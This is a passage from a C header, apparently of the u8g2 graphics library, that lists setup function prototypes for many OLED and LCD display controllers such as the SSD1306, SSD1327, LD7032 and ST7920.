u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_96x16_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_96x16_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_96x16_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_96x16_er_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_96x16_er_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1306_i2c_96x16_er_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_128x64_noname2_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_128x64_noname2_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_128x64_noname2_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname2_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname2_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname2_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_128x64_noname0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_128x64_noname0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_128x64_noname0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname0_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname0_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1309_i2c_128x64_noname0_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_i2c_128x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_i2c_128x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_i2c_128x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_96x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_96x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_96x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_i2c_96x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_i2c_96x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1316_i2c_96x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1317_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1317_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1317_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1317_i2c_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1317_i2c_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1317_i2c_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_128x96_xcp_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_128x96_xcp_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_128x96_xcp_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_i2c_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_i2c_128x96_xcp_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_i2c_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_i2c_128x96_xcp_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_i2c_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1318_i2c_128x96_xcp_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1325_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1325_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1325_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1325_i2c_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1325_i2c_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1325_i2c_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd0323_os128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd0323_os128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd0323_os128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd0323_i2c_os128064_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd0323_i2c_os128064_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd0323_i2c_os128064_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1326_er_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1326_er_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1326_er_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1326_i2c_er_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1326_i2c_er_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1326_i2c_er_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_ws_96x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_ws_96x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_ws_96x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_ws_96x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_ws_96x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_ws_96x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_seeed_96x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_seeed_96x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_seeed_96x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_ea_w128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_midas_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_zjy_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_ws_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_ea_w128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_midas_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_zjy_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_ws_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_ea_w128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_midas_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_zjy_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_ws_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_ea_w128128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_midas_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_ws_128x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_ea_w128128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_midas_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_ws_128x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_ea_w128128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_midas_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_ws_128x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_visionox_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_visionox_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_visionox_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_visionox_128x96_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_visionox_128x96_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1327_i2c_visionox_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1329_128x96_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1329_128x96_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1329_128x96_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1329_96x96_noname_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1329_96x96_noname_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ssd1329_96x96_noname_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_60x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_60x32_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_60x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_60x32_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_60x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_60x32_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_i2c_60x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_i2c_60x32_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_i2c_60x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_i2c_60x32_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_i2c_60x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_i2c_60x32_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_128x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_128x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_128x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_i2c_128x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_i2c_128x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_ld7032_i2c_128x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_256x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_256x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_256x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_144x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_144x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_144x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_160x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_160x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_s_160x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_192x32_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_192x32_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb);\nvoid u8g2_Setup_st7920_p_192x32_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb 